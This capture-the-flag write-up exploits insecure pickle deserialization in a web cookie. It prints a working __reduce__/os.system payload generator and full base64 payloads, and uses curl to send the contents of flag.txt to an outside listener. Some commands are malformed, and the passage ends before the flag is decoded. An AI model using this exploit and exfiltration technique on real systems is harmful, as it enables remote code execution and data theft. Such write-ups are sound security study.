After I went bankrupt running my cookie store i decided to improve my security and start a pickle store. Turns out pickles are way more profitable!

By visiting the url we get the shop page


By clicking buy to examine the request, we've found a base64 encoded cookie:

By decoding it we got: }q(XmoneyqMXhistoryq]qXanti_tamper_hmacqX aa1ba4de55048cf20e0a7a63b7f8eb62qu.

Now the challenge name "pickle store" makes sense. The format looks like a pickle object, to make sure we had to try it.

import base64
import pickle

decoded_data = base64.b64decode(data)
pickle_object = pickle.loads(decoded_data)

By running the previous script we got the following result

{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

Now its obvious the server is unserializing the cookie.

After checking the documentation of pickle we can find the warning that using user supplied data is considered dangerous.


By searching more for an exploitation using the keywords pickle rce we got this gist, let's try it ourselves

import cPickle
import sys
import base64

COMMAND = sys.argv[1]

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print base64.b64encode(cPickle.dumps(PickleRce()))

Now running python3 whoami
We get gANjcG9zaXgKc3lzdGVtCnEAWAYAAAB3aG9hbWlxAYVxAlJxAy4=
We should now send this payload instead of the original cookie to get executed, but we have an obstacle here, our payload is causing an exception causing status 500 with internal server error page so we wont be able extract data in the http response

But to validate that our payload is getting executed on the server
we sent sleep 5 instead of whoami
and we've noticed that the server has waited for 5 seconds.

Now, its time to get our flag!
Using the same script we have generated a cookie to execute the following command


We started listening on our server

$ nc -l 1337

Then we sent the request with our forged cookie and we got what we wanted

$ nc -l 1337
GET /flag.txt HTTP/1.1
User-Agent: curl/7.58.0
Accept: */*

As we can see there's a file called flag.txt, lets forge a new cookie to read its content

python3 'curl`cat flag.txt | base64`'

We get base64 payload of gANjcG9zaXgKc3lzdGVtCnEAWDcAAABjdXJsIGh0dHA6Ly9yM2JpbGxpb25zLmNvbToxMzM3L2BjYXQgZmxhZy50eHQgfCBiYXNlNjRgcQGFcQJScQMu

and here is the server's request.

$ nc -l 1337
GET /d2F0ZXZye3AxY2tsM18xNV80bl8zdjNuX2IzNzczcl8zbmNyeXA3MTBuX20zN2gwZH0K HTTP/1.1
User-Agent: curl/7.58.0
Accept: */*

by decoding it we get